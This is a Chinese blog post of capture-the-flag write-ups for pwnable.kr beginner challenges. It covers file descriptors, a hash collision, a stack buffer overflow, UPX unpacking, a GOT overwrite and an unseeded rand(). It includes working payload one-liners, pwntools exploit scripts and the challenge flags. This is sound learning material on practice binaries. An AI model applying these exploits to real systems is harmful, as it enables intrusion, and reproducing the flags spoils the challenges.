Pwnable.kr 练习

发布于 2019-11-28  139 次阅读


Toddler's Bottle

fd

关于文件描述符的知识:对于标准输入输出,描述符是0

根据题目的操作ssh上去,输入4660(HEX完了是0x1234),这样read读入的就是自己的输入

这时候我们输入LETMEWIN就能够获得flag

flag: mommy! I think I know what a file descriptor is!!

collision

注意一个细节:\x00会被截断;

payload:

./col $(python -c "print '\xe8\x05\xd9\x1d'+'\x01'*16")
flag: daddy! I just managed to create a hash collision :)

bof

image.png

image.png

我们可以知道输入65个a后,有21个偏移到了ebp上,那么我们输入44个a后偏移到ebp上面,然后再偏移8位就可以得到解了。

那么payload就出来了

from pwn import *

address = 'pwnable.kr'
port = 9000

proc = process("./bof")

#io = proc
io = remote(address,port)
context(arch = 'i386',os = 'linux',log_level = 'debug')

cafebabe = 0xcafebabe

io.sendline(b'a' * 52 + p32(cafebabe))

io.interactive()

理论分析一下:我们打开IDA看一下

image.png

s->var_C有32字节,var_C->arg_0有12+8=20字节,加一块52字节。那么我们总偏移是52字节的pad。

flag: daddy, I just pwned a buFFer :)

flag

逆向,IDA一下,没看懂

运行一下,得到

image.png

感觉不明所以。不过这句话提示我觉的要用gdb看一下。

然后不会做了……查了网上题解要脱壳……

好吧,那就按照脱壳的流程来做一遍。先用ExeinfoPE来查询以下壳,发现是UPX。

image.png

于是我们就找找脱壳工具,于是发现了upx的脱壳方式

image.png

把程序弄出来,IDA看看,一目了然。

image.png

注意结尾有一个笑脸字符不要丢即可,鼠标放上去即可看到。

flag: UPX...? sounds like a delivery service :)

passcode

代码都给了,直接做就行

image.png

然而,仔细看看发现scanf没加取地址符,所以直接输入是肯定行不通的。那么我们照着网上大佬的做法来做一下:

先开python,查看下情况:

image.png

看起来防护齐全,接下来我们继续按照题解复现:

注意到main中两个函数welcomelogin是连续调用的,而且程序没有开PIE(地址随机化)保护,所以我们可以用一个叫GOT表复写的技术来实现操作;

image.png

找到了printf函数的GOT表,考虑到那么我们接着把passcode1的值改成printf的地址,那么接下来scanf就会用新数据覆盖掉这个地址上的数据,这个新数据由我们自己指定,我们就可以利用这一点来覆盖掉原来printf的地址,然后再之后调用printf的时候就执行那个我们指定的函数从而得到flag。

那么我们写个脚本操作下(注:那个我们要执行的地址可以用objdump -d查询得到):

from pwn import *
io = process('./passcode')
print_addr = 0x0804a000
sys_addr = 0x080485ea
sc = 'a' * 96 + p32(print_addr) + '\n' + str(int(sys_addr)) + '\n'
io.send(sc)
io.recvall()

image.png!

flag: Sorry mom.. I got confused about scanf usage :(

random

这次是直接给了个rand,然后就要你求个值跟他异或后是0xdeadbeef。

但是由于没有初始化随机种子,所以每一次的rand值都是一样的。

所以我们只需要测试下这个值多少就行。

image.png

得到值是1804289383

那么算下就得到答案了。

image.png

image.png

flag: Mommy, I thought libc random is unpredictable...

input2

虽然题目名叫input,但是登录账户名叫input2,那么还是叫input2吧。。。

好烦,分了好多阶段,之后有时间再做。。。

It is my final heart.
最后更新于 2019-11-28